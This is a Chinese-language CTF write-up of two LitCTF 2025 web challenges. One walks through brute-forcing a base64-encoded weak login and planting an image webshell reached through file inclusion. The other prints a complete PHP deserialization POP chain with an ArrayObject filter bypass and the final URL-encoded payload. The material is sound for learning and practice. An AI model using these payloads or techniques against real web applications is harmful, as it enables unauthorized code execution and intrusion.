[LitCTF 2025]easy_file

F12源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>

const particlesContainer = document.getElementById('particles');
for (let i = 0; i < 30; i++) {
const particle = document.createElement('div');
particle.className = 'particle';
particle.style.width = `${Math.random() * 20 + 5}px`;
particle.style.height = particle.style.width;
particle.style.left = `${Math.random() * 100}%`;
particle.style.top = `${Math.random() * 100}%`;
particle.style.animationDelay = `${Math.random() * 5}s`;
particlesContainer.appendChild(particle);
}

document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const username = this.querySelector('input[name="username"]').value;
const password = this.querySelector('input[name="password"]').value;
const encoder = new TextEncoder();
const encode = str => btoa(String.fromCharCode(...encoder.encode(str)));
this.querySelector('input[name="username"]').value = encode(username);
this.querySelector('input[name="password"]').value = encode(password);
this.submit();
});
//file查看头像
</script>

有查看jpg的点

进去就是登录框 首先尝试弱口令 用户名照常admin 密码随便猜的弱密码 虽然错误但是发现回到登陆页面它给你填好了帐号

img

YWRtaW4=是admin的base64 所以我们猜测帐号密码应该都是base64过后的弱口令 然后你抓包也能知道他是base64编码 burp字典爆破即可

img

爆破出来为password 登陆进去是文件上传的点 只能上传txt和jpg 如果只能上传jpg上传个图片马看看 检测php使用短标签

图片马条件是必须有文件包含 刚好这里前面源代码有一个file查看图片

img

[LitCTF 2025]君の名は

进去就是php代码 反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

这是道很好的题 对不擅长php序列化的师傅有点难理解 但请耐心看完

首先先找最后获取flag的点是 create_function(“”, ‘die(/readflag);’);

创造了一个匿名的函数来执行读取flag的操作 所以我们要读取flag就得通过反序列化调用这个匿名函数。

所以现在有几个点需要解决: 1.匿名函数的名字 2.怎么调用匿名函数 3.绕过最后一步

1.

1
2
3
4
<?php 
$a = create_function("","die(` /readflag`);");
var_dump($a);
#\000lambda_1

输出就是其名字 但是网页每刷新一次 函数名后的数字就会加1

2.

链子顺序很简单,是:

Taki::__unserialize->Mitsuha::__invoke->KatawareDoki::__toString->Taki::__call

仔细看

1
2
3
4
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

new $args[0]($args[1])用调用时传入的第一个参数 $args[0] 作为类名,动态创建这个类的实例。用第二个参数 $args[1] 作为该类构造函数的参数。

->{$this->magic}()调用新实例中,名字为 $this->magic 的方法,且无参数。

所以这里考了原生类的知识点 使用ReflectionFunctioninvoke方法调用无参函数

理解:

1
2
$rf = new ReflectionFunction($closure);
$rf->invoke()

意为调用$closure这个函数。那么回到此题,即是调用lambda_1这个函数,读到flag。

$fun会被赋值为flag(),$args则是flag()里的东西

3.

绕过使用类对链子进行包装,这样开头的O就会替换为C,以此绕过。以下这些原生类是C开头

1
2
3
4
5
6
7
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

POP链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a;

$d = array("sauy"=>$a); //这里随便取一个键名就好,意义就是搞成数组
$e = new ArrayObject($d); //使用原生类进行封装来进行绕过

echo urlencode(serialize($e));
?>

#Litctf2025=C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22sauy%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

img

请注意本题php版本是php7.4 但是运行链子请在PHP 5.3版本下运行(推荐使用phpstudy 切换php版本方便)

原因是:PHP版本差异导致的ArrayObject序列化格式变化。在PHP 5.6+及更高版本中,ArrayObject的序列化结构包含三部分(标志位、存储数组、迭代器信息),而旧版PHP(如5.3)则使用不同的自定义格式(以C:开头)–来自DEEPSEEK

https://chenxi9981.github.io/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96/ (php序列化知识总结)